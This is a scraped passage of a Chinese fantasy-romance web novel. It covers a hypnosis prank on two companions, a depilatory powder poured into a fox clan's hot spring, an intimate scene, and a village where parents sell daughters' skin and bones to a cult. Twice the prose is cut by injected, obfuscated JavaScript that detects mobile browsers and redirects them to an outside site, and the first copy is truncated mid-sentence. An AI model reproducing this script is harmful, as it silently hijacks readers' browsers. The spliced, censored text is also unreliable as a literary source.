“潮生、哥?比较重要?”阿乞惊恐地把四根手指头塞嘴里…… “然后,再趁他夜里熟睡,一刀捅进他心脏!” “心脏、”紫蛇手忙脚乱地捂心口。 “挖了他的蛇胆!” “蛇胆……”紫蛇又手忙脚乱地疯狂找蛇胆的位置。 我继续添料:“剥了他的蛇皮,抽了他的蛇骨。” 紫蛇脑门子上开始渗冷汗了,说话打颤:“蛇皮、蛇骨……听着都疼!” “最后把他剁剁,煲蛇汤给阿乞喝。” 阿乞浑身一震,小脸惨白:“你要剁了帝君,还要拿他煲汤,还要把汤喂我?!” 我佯作无辜:“怎么了,有问题吗?还是,你们觉得我这样干不够解气?实在不行,可以一半烧烤一半做刺身,让他感受一把冰火两重天的滋味……” 我话没说完呢,紫蛇就狂叫着和阿乞抱在了一起,一人一蛇被吓得双腿疯狂颤抖—— “阿乞啊,保护我啊!这娘们疯起来都敢分自己老公的尸啊!她以前是不是吃过蛇,听起来完全不像没经验啊!” “我也害怕啊!帝君要是知道他未来会这么死,会不会伤心的嘎巴一下原地倒身,直接被镜镜姐给气升天了哇!” “老话说的果然没错,最毒妇人心啊!爱的时候死去活来,不爱的时候也是死去活来啊!帝君啊,你三百年来的深情,终究是错付了哇!” “完了,镜镜姐是真被宋潮生的催眠术迷住了!老紫你快啊,你不是有法术吗?你快让镜镜姐清醒过来啊!” “呜呜,催眠术又不是咱们道家的玩意儿,宋潮生那狗杂碎用的还是高级催眠术,我、我不知道怎么解啊!” “那怎么办啊,总不能真眼睁睁看着帝君被砍成臊子吧!帝君还是个死心眼,如果知道镜镜姐想砍他做刺身烧烤,他怕是压根不会跑,恨不得站在原地任由镜镜姐剁!” “谁说不是呢,帝君平时瞧着怪聪明,一遇见鸾镜妹子的事就智商为零。” “你快想想办法啊!镜镜姐只是被催眠了,这不是镜镜姐的本心,镜镜姐要是真把帝君砍了,等她清醒过来她怕是会后悔难受一辈子!” “催眠?”我佯作不懂,反问道:“什么是催眠?” 阿乞哭丧着脸急吼吼道: “就是、用邪术控制你的思想,改变你的记忆,给你下达指令! 镜镜姐,你刚才就是被宋潮生那王八蛋给催眠了,是他让你产生你怨恨帝君的错觉。 其实你一点也不讨厌帝君,你超爱帝君的,你根本舍不得杀他,都是宋潮生害你啊——” 我挑眉故意接着逗他:“阿乞,你怎么能这样说潮生哥呢,潮生哥人多好啊!” 阿乞与紫蛇闻言差点被我逼哭出来,紫蛇瘪嘴疯狂嚎啕:“完了,这催眠的也太深了……” “催眠……”我淡定抬手,在一人一蛇眼前垂下一串苗铃吊坠,“你们说的,是这种邪术吗?” 苗铃吊坠在四道茫然目光中来回摇晃,搂在一起缠成连体婴儿的阿乞与紫蛇顿时眼神呆滞,瞳孔放大! 被苗铃吊坠晃得精神不济,神识错乱。 我见他俩被催眠得差不多了,这才收了苗铃吊坠,从容给他俩下达指令:“阿乞,你摸摸紫蛇的小脸。” 阿乞立马听话地像个提线木偶,乖乖伸手,往紫蛇的脸蛋上正儿八经地摸了一把。 “阿紫,你……就亲亲阿乞的脸蛋吧!”我勉为其难的发话。 紫蛇也宛若行尸走肉般,木讷听从指令安排,凑近阿乞,吧唧往阿乞侧脸上亲了口。 亲完,过了两三秒,紫蛇才猛地挣脱催眠术的控制,极度嫌弃的赶忙推开还被催眠术支配着的阿乞。 好似他自个儿被人占了什么大便宜一般,又是擦嘴唇又是呸呸呸,唇边的胭脂色口红都被他擦掉了一层。 “过分了,鸾镜妹子你过分了!呜呜,我的初吻啊!”紫蛇接受不了的委屈放声哭嚎:“我保留了整整八百年的初吻啊,怎么能给这个小屁孩呢!” 说着,还绣花广袖一挥,用法力解了阿乞的催眠术。 阿乞愣了下,下一秒,立马别过头做出了和他同样的反应,一个劲的抬袖擦脸蛋,“呵——呸!呸呸呸!” 紫蛇不可思议的瞪大眼,更委屈了:“你呸个什么啊!我又没亲你嘴!” 阿乞用粗布袖子蹭红了脸皮:“呸,我呸晦气呢!” 紫蛇:“……呜呜呜!”生气的跺脚,扯着大嗓门就高声喊人:“帝君!你还管不管你老婆了!你老婆太过分了,她竟然利用我们的同情心!” 我把苗铃揣进口袋里,无奈耸耸肩: “我哪有,再说你们这是同情心吗?分明是一颗激动亢奋、想吃瓜的心。我这是在告诉你们,吃瓜需谨慎,当心被瓜反噬。” 紫蛇越听越憋屈: “鸾镜妹子你太过分了,亏我们哥俩还担心你会不会真被宋潮生催眠,误入歧途,一时糊涂干出什么令自己后悔一生的事呢! 原来,你从头到尾都在逗我们哥俩玩,你实在、太让我们失望了!嗷呜呜呜……” 阿乞擦完脸,大大咧咧地赶紧转头问我:“镜镜姐,这到底是怎么回事啊?你怎么、没有被催眠?你为什么也会外面的邪术啊!” 我深呼吸,淡定道: “催眠术不算邪术,算……能用科学解释的摄魂术。本质上与咱们熟知的摄魂术没什么区别,但比摄魂术复杂。 至少,摄魂术只需要一样载体,它只安静放在那,你看一眼便会中摄魂术,道行高深的修行者甚至连载体都不需要,只需一个眼神,或者一个响指就能无声无息令人中术。 可催眠术,还得搞什么能摇晃的东西,或者有节奏的声音。你们可以理解为,催眠术的尽头是摄魂术,摄魂术的初级版,是催眠术。 我没有被催眠,是因为前一阵青漓刚教过我摄魂术,我学摄魂术的时候,练的乱七八糟,有几回自己把自己练迷住了,为了自救,我就摸索出了破摄魂术的诀窍。 我现在连青漓的高等摄魂术都能轻而易举的破了,更何况是宋潮生这低级的催眠术了。” 整了整身上的黑纱红裙,我接着轻描淡写说:“我为什么会催眠术,当然是宋潮生教的啊!他刚才对我使用催眠术,步骤我都记下来了。” “他对你用了一遍催眠术,你就学会了?”紫蛇瞪大眼睛质疑道:“你什么时候天赋这么好了!” 我蹙眉不悦道:“听听你说的什么话,我天赋一直都很高!你家帝君可是亲口承认过的!” 紫蛇眯眼表示不信: “那为什么之前帝君教你摄魂术,你还能练得乱七八糟?帝君他教你,肯定是超级详细,超级慢,手把手的教你。 他手把手教你你都练不会,别人就拿个破玩意在你眼前晃几下,你竟然立马就学会了!你比宋潮生的催眠术还邪门……” 我尴尬的实话实说:“咱就说,有没有可能,问题出在你家帝君身上……假如,一个绝世美女在你俩身边,手把手教你俩法术,你俩的注意力,还能放在学习修炼上吗?” 紫蛇:“……” 阿乞:“我懂了!帝君教镜镜姐的时候,镜镜姐满眼都是帝君的美色!镜镜姐被帝君的帅脸冲昏了头,她没心思学习了!” 紫蛇嘴角抽搐的试着推测:“宋潮生的脸没什么特色,鸾镜妹子的注意力没法放在他的脸上,所以就放在了他的行为上?这么说来……鸾镜妹子确实天赋高!” 我不好意思地咳了咳:“那个、低调。” 紫蛇眉梢一跳,干笑。 阿乞指了指我左手口袋里被宋潮生悄然塞进去的白色小塑料瓶,“镜镜姐,这药粉你打算怎么办啊……” 被他这么一提醒,我才想起来宋潮生给我的脱鳞粉。 把东西掏出来,我好奇问阿乞与紫蛇:“你们说,这药粉能让蛇蛟龙类掉鳞,如果,是圆毛畜生用了,会怎么样呢?” 紫蛇主动将药瓶接过去,扭开瓶盖,嗅了嗅…… 眉心拧成川字。 “你猜得没错,会掉毛。” 第133章 满山狐狸尽光头 我当即拍拍阿乞的肩膀,语重心长同他道:“收拾那狗东西的重任,就交给你和紫蛇了!” “狗东西?”阿乞瞬间反应过来:“哦镜镜姐,你是要我们,把这药粉、用在那条瘸腿狐狸身上?!” “那总不能真用在青漓身上。”我摊手一脸无辜:“东西都送上门了,咱们不用岂不是浪费物资?” 紫蛇与我一拍即合: “倒不如合理利用,把药粉,用在有需要的家伙身上! 而且我也早就看他不爽了,他上次为了挑拨你与帝君的夫妻关系,竟然利用我! 害我误导帝君误会你与宋淑贞母女俩联手,要对付帝君! 要不是他设计我,让我听见宋淑贞母女俩的对话,信了她们说的你和帝君一直是在逢场作戏,你在**帝君的感情,我后来也不会给帝君出那么阴的主意,那么狠的招…… 间接导致你差点被狐毒折磨死!不行,这个仇必须报! 药交给我你就放心吧,我保证让他明天就变成无毛狐狸!” 阿乞垮脸看着激愤的紫蛇:“你有把握吗?你打得过他吗?每次你让我放心,事最后都被你办砸了……” “你别瞧不起我!” 紫蛇自信满满: “我好歹也是帝君身边的跟班,虽然干不过白术仇惑那两家伙吧,但干灰狐狸还是洒洒水啦!我紫蛇,动一根手指头,就能把他弹成脑震荡!” “……你牛!”阿乞放弃抵抗了。 两家伙还凑在一起拌嘴,一阵青色荧光悄然飞至我身后,凝出人形…… “阿鸾。”男人从后搂住我的腰,低头将下颌倚在我肩上。 软语温存的与我说话:“我便知道,阿鸾舍不得伤我分毫。” 我故意冷着脸,嘴硬呛他:“谁舍不得了,我只是恰好讨厌宋潮生,就想与他对着干!” “嗯,我知道,阿鸾讨厌宋潮生,阿鸾心疼我。” 我:“???” 我什么时候说后半句了? 心中不爽地在他怀里挣扎了几下。 “你放开我,我们现在、还没和好呢!” “嗯,为夫知道,阿鸾和为夫天下一地好。” “青漓!你别我说东你说西!” “夫人想吃红烧鸡?可以,为夫给夫人做。” “……你过分了啊。” “对,我疼你啊。” “青漓!” “乖,最近天寒,不吃梨。” 我感觉,我的脑子都要被他绕宕机了。 “你别这样,我认真的……你前几天气我的那股子劲哪去了?” “惹夫人生气容易打光棍,本尊学乖了。” “那你先放开我。” “不放。” “……今晚真能吃到红烧鸡吗?” 识时务者为俊杰! 他愣住,总算被我摆了一道。 几秒后,眼底蓄起和煦春光,声音清浅,如玉石击磬:“真的,夫人想吃,为夫就做。” 我越想越觉得哪里怪怪的:“你什么时候厨艺这么好了?以前虽然也下厨,但、做的菜可没现在这样花里胡哨。” 他抱着我低笑:“夫人同本尊闹别扭那几天,本尊除了在柳叶村蹲守黑蛟,还去、见了位挚友……” “他在人间也有身份,他的女儿,曾拜过本尊为师。” “他,是京城首富,殷家家主,前几年刚和凤家的大小姐结为连理。” “这阵子,他不晓得在犯什么病,突然对做菜感兴趣了。” “然后他就请了个名厨做私教,名厨给了他好几本独家秘制菜品的菜谱。菜谱太多他看不过来,就分了本尊几本,本尊看完,感觉还不错,好操作。” “所以就想做给夫人尝尝。” 我疑惑拧眉:“京城首富,殷家家主?首富哎,他家不应该有八十个厨子专门给他们做一日三餐吗?干嘛还学着自己下厨?他家破产了?” “他家老宅,确实有八十个厨子轮流给他们做一日三餐,且餐餐都会提前准备食谱,专门送给家里的太太审核。 顿顿餐桌上的菜都不一样,山珍海味吃成寻常菜。不过,他与他家里的老人合不来,他也不想让自己的夫人在长辈眼皮子底下不自在。 在和他夫人结婚后,就带他夫人去外面的山庄住了。山庄里虽然没有几十个厨子,但却有个伺候他们多年的阿姨,按理说,他的确没必要学下厨。” 我抿了抿唇,感慨道:“有钱人就是任性,他肯定是钱多烧得慌。实在不行,他把钱给我,他来我家做厨子!” “是他夫人,前一段时间看电视,瞧见电视剧里的霸总亲手给妻子做可乐鸡翅,羡慕得不行。他不甘示弱,索性也开始学做菜了。” “哦,那他倒是真爱他妻子。” “嗯,他妻子当年得了重病,差点没救过来,他在他妻子病势最凶猛时,险些殉情了。” “这年头,能爱妻子爱到殉情的男人,太稀有了。豪门中能有真情,更是难得。后来呢?他妻子是怎么顺利度过那场大劫的?” 青漓收紧环在我腰上的手臂,轻声续说: “其实,他妻子并不是没救了,是他多年前得罪了自家一位妹妹,恰好那位妹妹有治好他妻子的办法,他去求他妹妹给他妻子一线生机,他妹妹就谎称要想治好他妻子,得一命换一命…… 他信了,才想着殉情。 但危急关头他太丈母娘及时赶到,揭穿了真相,这才保住了他和他妻子的命。 再后来,他妻子好不容易恢复生机,他就成天把妻子搂在怀里,带在身边,唯恐妻子再出事。” “他妹妹,实在太坏了。”我摇头唏嘘:“那他现在学会做菜了吗?” 青漓突然安静了,半晌,才说:“一个星期前,他给他妻子做了一盘鲍鱼……他妻子吃完吐了一夜,他家里阿姨被送进医院后确诊为食物**……” 我:“……” 活阎王啊! “难怪他把菜谱都分给你了,他不适合做菜,他适合索命。” 我贪婪地往他怀里蹭蹭,感受着他怀中的温暖气息,叹道: “我要是京城首富,我就做个十指不沾阳春水的小仙女,每天抱着我花不完的钱犯愁究竟是买太阳好,还是买月亮好!” 他听罢,没忍住弯唇沉笑。 “夫人现在的生活,就挺好。有钱人也有他们的烦恼。钱太多,钱太少,都让人发愁。” “人生两大苦,人活着钱没了,人没了钱还在……”我认命地叹了又叹。 小凤不知什么时候也凑到了青漓身畔,听着我们的对话,眯眼,追问道:“京城首富?殷家那位家主吗?” 青漓淡淡嗯了声:“认识?” 小凤猛地往后撤一大步:“啊耶,那可太、不熟了!” 青漓用余光瞥她一眼:“你这样子,看起来分明就是太熟了。” 小凤抱脑袋,摇头似拨浪鼓:“不熟不熟不熟!帝君哥,你可千万别和他说你认识我!” “怎么,你惹过他?” 小凤鸟嘴打颤:“我当然没有惹过他啊,我一只小鸟怎么敢惹他,他可是活阎王。” 青漓冷声问下去:“那你这么怕他?” “我、” 小凤结结巴巴道: “我主、祖上惹过他!他要是知道我跟在你们身边,不得提刀把我砍了,帝君你现在又是这样…… 呜呜呜,护不住我啊。 当年娘娘就应该听妙渊**的话,先把婚事给定下来,把人给稳住了,这样我们昆仑神宫在外好歹是蓬莱那头罩着的,呜,帝君你说你没事瞎跳什么啊!” “本尊……什么瞎跳什么?”青漓愈发听不懂小凤的癫言癫语。 我亦是意外道:“小凤你人脉这么广吗,京城首富你都认识。” 小凤绝望反驳:“不,那不是人脉,那是仇家!” 我噎住:“呃……我觉得,京城首富这么重情重义……应该是个好人。” “昂,对,他是挺重情重义的……但主人你不、”小凤正说着,突然捂嘴憋住了话。 我不明所以:“我不怎么了?” 小凤捂着嘴叽里咕噜含糊不清地哼出了几个字音…… 听着隐约像:不讲武德。 我一头雾水地不死心追问:“到底不怎么了?” 小凤被我问急了,只能艰难松开捂在嘴上的一对小翅膀,支支吾吾: “我的意思是,主人你不认识他,怎么知道他重情重义……豪门、世家的家主,人设!都是很会立人设的!” “可是他宠老婆啊!”我一本正经说。 小凤:“……” 默默退得更远了…… 青漓许是觉得我俩争论的话题无聊,便揽着我的腰浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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之所以心里没底,是因为你现在有了我,动了情,你就有了顾虑,就有了软肋,你有了害怕被误解的情绪…… 归根结底,怪我把你从无情无欲之境,拉入了红尘俗世,才让你产生恐惧、不安、自我怀疑……” 主动握住他的手,与他十指相扣,我偏头看着他,认真道: “青漓,我想你无忧无虑做自己。你和我在一起,不需要改变,更不需要妥协。我喜欢的,本来就是最真实的那个你。” “阿鸾。”他深情凝望着我的眉眼,意外地张了张薄唇:“本尊、没想到,你会同本尊说这些……” “我是不希望你为了我变得犹犹豫豫,顾虑重重。我是那么不讲理的人吗?” 开玩笑,我这辈子最厌恶的就是道德**那一套! 看了眼他快被我感动得找不着北的模样,我无情给他泼凉水:“虽然、我愿意哄你,但我们俩还没和好,你别以为和我说几句好话我就消气了……” “本尊知道,是本尊不好,惹夫人生气了,夫人不原谅本尊是对的……夫人等会想吃梨还是苹果?” “你不是说天寒了不能吃梨吗?” “那就吃苹果。” “也行。” 小凤颓废地扑扇着翅膀追上我们,神神叨叨地低声自言自语: “我的亲主人啊……就是您老坑的冥王找不到北,当年冥后死里逃生,冥王可是发过誓,等他找到你非把你剁碎了包饺子!” …… 夜里十二点。 后山突然传来一阵阵撕心裂肺的狐狸嚎叫…… 我枕在青漓胳膊上刚睡着,就听见屋顶瓦片叮叮当当由远及近一阵响。 片刻,有东西推开我房间的木窗,激动探进脑袋欢呼:“鸾镜妹子!哥我成啦!” 乍一声喊叫吓得我一个鲤鱼打挺就从床上弹坐起身。 迷迷糊糊地扭头朝窗户看过去,只见一条臭不要脸的长蛇弓身靠在窗框上摆帅气POSS。 得意洋洋道: “哥我给谢妄楼那只死狐狸做了个全身脱毛,还顺便把他狐狸洞里的那些母狐狸也脱了! 现在,他谢妄楼整个狐狸洞里能有一根狐狸**,算我输!” 我睡得晕晕乎乎:“啊?你手速这么快的吗?” 过年拔鸭**一只也得十分钟吧…… 紫蛇亢奋的疯狂蛄蛹: “我才没有用手脱呢,那些狐狸满身狐臭! 我把脱鳞粉倒进狐狸洞里供母狐们泡澡的温泉池子中了! 啧啧啧,她们刚下水,满脑袋的头发就成把成把掉,不一会儿就全成光头了!” 我:“……” 画面太恐怖,不敢想象啊! 第134章 你、不许乱亲! “让你去脱灰狐狸的**……你脱人家母狐的**做什么?” 我揉了揉沉重眼皮。 紫蛇正儿八经道: “嗳~妹子此言差矣。脱灰狐狸的**,只能让灰狐狸肉体承受痛苦,但脱灰狐狸他那些老婆的**,能让灰狐狸承受十倍心理上的痛苦! 你想啊,灰狐狸修的乃是情欲道,狐狸生性**,一天没有异性陪,他就心痒难耐。 他养了这么多只母狐狸,不就是为了方便他随时发泄么? 可如若,在他亟需这些母狐的时候,伸手捞一个,一个是秃头,再捞一个,一个是秃**…… 嘎嘎嘎,我都不敢想象他的内心会痛苦成什么样!” 我:“……还是你想的周到!” 太瞌睡了,敷衍夸几句。 紫蛇不死心地着急道:“你就想象一下,你一觉醒来发现你老公变成秃头了!” 我老公变成秃头?呵……我老公…… 不对! 青漓?! 一句话瞬间吓得我头脑清醒! 赶紧摸黑伸手抚身边男人的脑袋…… 还好。 摸到了柔顺的长发。 我心累往床上一倒,将他紧紧抱住,抚着他一头月华般的柔软银发,珍惜道:“还好,头发还在……大半夜的别讲恐怖故事啊!” 紫蛇颇有成就感道:“瞅瞅!要的就是这个效果!” 男人温柔环住我的腰,被我的举动逗得闷笑一声: “夫人如此害怕本尊脱发?本尊没有头发……夫人就不爱本尊了么?” 我拍拍他的后背,昏昏欲睡地哼唧着哄他: “脱发影响颜值……嗯~也有可能不影响,你颜值扛打。 但是你如果成了光头,我看着你,会提不起欲望…… 最近京圈佛子的短剧看多了,我对光头都有心理阴影了。 不过,也不存在你没头发我就不爱了的可能,我爱的又不是你的头发……” 他的低笑很有磁性,诱得人心弦颤颤:“那夫人现在对本尊提的起欲望?” 我哽住,一头埋进他怀里,“别闹,紫蛇还在呢!” 窗边的紫蛇干笑两声:“你们放心,该走的时候,我自然不会留!” 我呛咳出声……小心翼翼的推了推身体燥热的男人,瑟缩着转移话题:“你没被他们发现吧,谢妄楼那家伙报复心特别强。” “爷又不怕他!” “不是怕不怕的问题,明天我们就要去潮汐村办事了,今晚的事被他发现罪魁祸首是你,怕是要追着咱们制造麻烦。” 紫蛇潇洒地甩了甩尾巴: “放心好了,小爷出马,绝对稳!我不仅没留下什么小尾巴,我还把沾有宋潮生气味的小药瓶与宋潮生的名片丢进了狐狸洞里! 啧啧,原来宋潮生还是钢铁集团的总经理,小老板啊!这次让谢妄楼去替我们试试他这位钢铁集团小老板是否也有钢铁般的意志!” 我:“……你这么玩,会不会玩出事?谢妄楼可不像你们,他心狠手辣,**如麻。宋潮生得罪你们,顶多被你们吓唬几次,得罪他,他真会杀了宋潮生泄愤。” 紫蛇晃荡着尾巴,盘在窗框上赏月: “你放心好了,宋潮生死不了!宋潮生可是玉面仙君的徒弟。 虽然只和玉面仙君学了个皮**,只精通占卜之术,正面硬刚灰狐狸还很有难度。 但他师父不会让他死的,他出事,玉面仙君肯定会前去相救!” “玉面仙君?” 我面红耳赤地往床内侧躲,尴尬趴在男人怀里,用仅有我们两人能听见的音量羞窘嗔怪: “你、大半夜的……我不要!” 男人霸道地揽着我腰,大掌陡然用力一按,又重新将我摁回了怀中…… “不,你要。” 仗着我们身上有层被子在,肆无忌惮地将修长玉指探进我绣花的里衣内。 躺在窗户上赏月的紫蛇大大咧咧道: “对!就是李忘尘啦!这家伙从前是道门赫赫有名的玉面仙君,虽说二十年前经历大劫,道心破碎,散了半身修为……但实力仍不容小觑! 你不晓得,你小时候,你外婆与李忘尘经常与山里的野仙锋芒相对,他俩都不知道背地里与灰狐狸干过多少架了! 你们阴苗族,其实并没有你们这些小辈认为的那么菜,你们阴苗族要是没两把刷子,早就被九黎山一带的仙妖精怪给生吞活剥了! 就拿你外婆与李忘尘,还有你那个没心肝的母亲来说,他们平日里看着和普通族人没什么两样,实际上,你外婆在世时,除了会画鬼符,还有一样本命法器昆仑铃! 好家伙,那铃铛在她手里晃一下,方圆十里的野仙都得难受一整夜! 你母亲手里的那个乌灵木权杖,那可是上古神木,上打仙神,下打妖魔! 可惜、你母亲继任大祭司后,巫力并没有你外婆、太外婆强,所以乌灵木权杖在她手中,就威力削减了三分之一,她用着,也比较费劲。 至于玉面仙君,他的那把破天剑更厉害了,那可是上古神明锻造出来的神器,也不知道他走了什么狗屎运,竟能误打误撞收神器为己所用……” 我身子软得差些化成一滩温水…… 难熬的张唇微喘。 指甲抠在他的后背上…… 我心潮澎湃的忍无可忍,趴他耳边,咬了他耳尖一口—— 努力稳住声线,我着急打发紫蛇:“行吧,那你赶紧休息去吧,有什么事我们明天再说……我太累了。” 紫蛇爽快答应:“好的!明天我再和你细说今晚小爷的光辉事迹!” 说罢,一溜烟顺着外墙爬跑了。 紫蛇走了,我这才敢放松下来,肆意往他身上一扑,委屈道:“哪有你这样的,半夜勾引人?” 他二话没说就按着我的后脑勺,霸道吻住我的唇…… 细细研磨。 “都晾了为夫多少天了……还不给为夫开荤?” 我气鼓鼓地哼了声:“谁让你先前那么嚣张的?” “鸾鸾,我错了……”他乖顺得像只小绵羊。 我无情推开他的手,脸颊滚烫:“错了也没用,今晚,我不太方便。” “可是、夫人好像,还不在生理期……” 我支支吾吾:“快了、不行吗?” 他失落了一阵,片刻后,又道:“那,本尊可否、多亲亲夫人?” 我一哽,“亲……行吧。” 总不能既不给吃、也不给亲…… 逼急了他会疯给我看的。 只是,我好像误解了他所说的亲字…… “青漓……不是亲嘴吗?” “亲脸蛋也行啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349378|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谁允你亲那里的?” “呜,你又忽悠我!” “你不许、乱、亲……” —— 次日一早,我们一行人就结伴赶往了潮汐村。 中午十一点,顺利到达潮汐村的金大叔家吃午饭。 金大叔是潮汐村有名的实在人,家里拢共四口,大叔大婶夫妻俩,一个女儿,一个八十来岁的老父亲。 金老伯这个年纪,算是我们阴苗族顶长寿的老人家了。 据说,十几年前金老伯的大限就已经要到了,可他老人家运气好,正好赶上宋淑贞折腾出了长生泉。 这些年来金老伯一直在依赖长生泉的泉水续命,原以为今年没饮上长生泉水,他老人家的身体会出什么毛病。 可幸运的是老人家至今也没感觉到哪里不适,即便断了长生泉水,也依旧身子硬朗,精神矍铄。 只不过没了长生泉水做保障,老人家多少有点忧烦,总是会担心自个儿会不会哪天突然就撒手人寰了…… 人嘛,终归是越活越想活。 尤其是到了他这个岁数的老人家,没了延年益寿的灵泉之水,头顶就像悬了一把随时都可能落下来的剑。 不怕徐徐失去生机而亡,就怕猝不及防死掉。 对于大祭司被迫封闭长生泉一事,金老伯对我还是有些怨言的,但碍于我现在是鬼师,便不好明说些什么,只能动不动冷不丁的蹦出两句阴阳怪气的话…… 听得我浑身不自在。 而金叔家的女儿则是个活泼灵动长相甜美,十分讨喜的年轻姑娘。 小姑娘心灵手巧,说话甚合大体,哪哪都好。 眼光更好…… 一上来就盯准了青漓。 见缝插针得往青漓身边蹭,连吃饭都不忘欣喜地向青漓介绍桌上哪盘菜味道最好,哪盘菜是她老爹的拿手绝活…… 哎,我们阴苗族的姑娘胆子就是大。 对蛇类的接受能力,就是强! “那枕头,在我们这,还有个俗称,叫凤儿香枕,因为十七八岁的女儿皮剥下来,经过特殊的手法处理后,是香的。 枕凤儿枕能延年益寿治百病,我也是打开春起咳得厉害,我媳妇听说这个枕头能治病,才花大价钱从鬼市上买了一只回来…… 但买回来以后我枕着总觉得不对劲,夜里背上凉津津的……加上我家也有闺女,我总觉得枕这玩意造孽啊…… 老李我也不瞒你,我不是什么大公无私的善人,我把东西给你,请你与鬼师娘娘来我们村看事,其实也是害怕外面那些人沉迷于这一道,渐渐地被欲望支配,冲昏了头,干出什么损伤到我们整个潮汐村所有人的事。 他们现在已经卖女儿皮女儿骨卖红了眼,我家就这么一个闺女,她现在出门我和她妈都提心吊胆着……委实是怕啊!” 金大叔给李叔与青漓斟满酒,青漓扫了眼酒杯,揽袖接着给我夹菜。 李叔等金大叔坐下后,同金大叔碰了个杯。 对面的金老伯冷哼两声,自顾自地吃着菜,不悦咕哝: “你没那个享福的命,自己用不了凤儿枕,也不晓得孝敬你爹!宁愿白给别人,也不便宜自家人,你也不是什么好东西!” 李叔瞟了眼脸色难看的金老伯,接着问金大叔:“我听说,潮汐村最近在供什么,六臂通天佛?” 第135章 村长家的漂亮女人 金大叔抿口酒点点头: “还不是吴家那老三,三强子! 不知道从哪带回来两本怪书,还有一尊佛像,上面说只要供奉那个六臂通天佛,就能得到佛的赐福,开运、延年益寿。 一开始是村里几个好事的婆娘把佛像带回家轮流试验它究竟能不能开运,结果佛像请回家那几天,她们几家都突然走狗屎运了。 不是在山里捡到金疙瘩,就是在自家后院里挖出玉石,要么就是走路捡钱。 有一家儿子正在外地做建筑工,在工地爬梯子的时候,忽然掀起一阵怪风,风把他和他工友都吹摔下十来米高的铁架子了,他工友当场摔得昏迷不醒,送去医院说是脑震荡,还挺严重的。 可他却毫发无损,身上连块皮都没伤到。 当晚他就梦见了一尊长着六条手臂的铜佛像,佛像和他说,让他通知他母亲,如果肯一直在家里供奉它,它就能保他全家平平安安,一辈子走好运。 后来这事就在村里传开了,整个村子才流行起来供六臂通天佛。 我家本来也是要供的,但现在六臂通天佛的佛像供不应求。 我去张泥匠那买了好几次,他都说前面积压的佛像还没做完,估摸得再等半个月我家才能预定到。” “潮汐村痴迷少女骨,女儿皮,就是因为这尊佛?”李大叔闷声道。 金大叔颔首,叹息道: “对,是那两本书里记载的,说什么少女灵气重,是大补。 老李你说,他们供佛就供佛,竟然还真信这些鬼话…… 那可是他们的女儿,亲女儿!活生生的人啊!” 说着,金大叔歪头凑近李叔,压低嗓音: “现在这村里,没几户人家有闺女了,那些人没心肝啊,为了利益,把自己的女儿绑去开鬼市的那些人家里。 女儿死前的眼泪他们带走供佛,另外,还要女儿靠近心脏的一块心骨,说是挂在脖子上,用男人阳刚之气滋养,能旺家中人丁! 剩下的,就直接托付开鬼市的人买了,一个女娃子能卖四五千块,分给那些开鬼市的人两千块,自己到手三千块! 现在出现在村里的人骨制品,还都是女孩父母主动卖的,保不齐啥时候,他们就打起了别人家女儿的主意,我家这个宝贝闺女啊,我现在都愁**!” 说完,金大叔别过头捂着嘴用力咳嗽了好几声。 金老伯嫌弃拧眉,不耐烦道:“不知好歹的东西,早让你枕凤儿枕,你不乐意,非说什么后背发凉,胆小的蠢东西!” 坐在银杏身边的宋潮生闲得发慌又开始整活,夹了一块鱼腹,隔着银杏伸胳膊给我送过来,放进我的饭碗里…… “镜镜,我记得你喜欢吃鱼,多吃点,吃鱼聪明。” 我:“???” 我什么时候、喜欢吃鱼了? 我碗里还有青漓给我夹的其他菜呢! 他礼貌吗,二话没说夹块东西放我碗里…… 我捏着筷子强忍住想骂人的冲动,昂头刚打算婉言制止他这无礼的行为…… 谁知坐在金家婶子与宋潮生中间的金家小姑娘竟也有样学样地拿着筷子主动蹦蹦跳跳来到青漓身后。 挤在我与青漓之间的空隙里,伸筷子夹了一枚狮子头,连个心理防备都不给青漓,一筷子把狮子头放进青漓碗内…… 给青漓夹一块狮子头还不算完……接着又夹了一块鱼肉,一块排骨,一块冬瓜,一筷茄子…… 与她的筷子一同探过来的,还有她身上那股、熟悉的淡淡女儿香。 自来熟地将手搭在青漓肩上,热情与黑着脸的青漓道: “蛇王哥哥你怎么光顾着给别人夹菜,自己不吃呀。鬼师姐姐的饭量大,你只顾着她,自己就要饿肚子了!我爸的手艺还是蛮不错的! 你得照顾好自己,鬼师姐姐都有潮生哥夹菜了,那我给蛇王哥哥夹,蛇王哥哥你还想吃什么,告诉我,我给你夹,你别不好意思!” “我……饭量大?” 是可忍孰不可忍啊! 小姑娘一脸天真无邪地扭头看我,认真且无辜道: “鬼师姐姐你本来就饭量大呀,从开始到现在,蛇王哥哥一直在给你夹菜,他自己都没顾得上吃几口。 不过,我没有说鬼师姐姐饭量大不好的意思,我只是觉得,鬼师姐姐自己有手,而且还有潮生哥帮你夹菜,蛇王哥哥可以稍微歇一歇…… 其实,鬼师姐姐,我真的好羡慕你的胃口啊,不像我,我每次都吃不下这么多饭,况且我已经成年了,小女孩成年了要学会自律,保持体态。 我如果像鬼师姐姐这么吃,肯定用不了多久就会吃成一个大胖子,男人,都不喜欢胖女孩的、” 话刚说完,小姑娘陡然哎呦痛叫了一声。 我好奇扭头,才发现是青漓肩上寒霜凝成的冰刃刺破了她的指尖…… 正与李大叔把酒言欢的金叔一怔,紧张地要起身询问情况,但被李叔扯着胳膊按坐了回去。 金家婶子则不知在想什么,目光呆滞地盯着碗里米饭走神,连自家女儿的惊呼都没听见…… 金老伯端着饭碗一如既往的嘴毒:“该!” 银杏夹了片蘑菇放在我碗里: “你吃不下饭是你消化不好,镜镜才吃多少就是饭量大了?我比镜镜吃得还多呢! 我从小到大都比镜镜胃口好,也没见我长成大胖子啊! 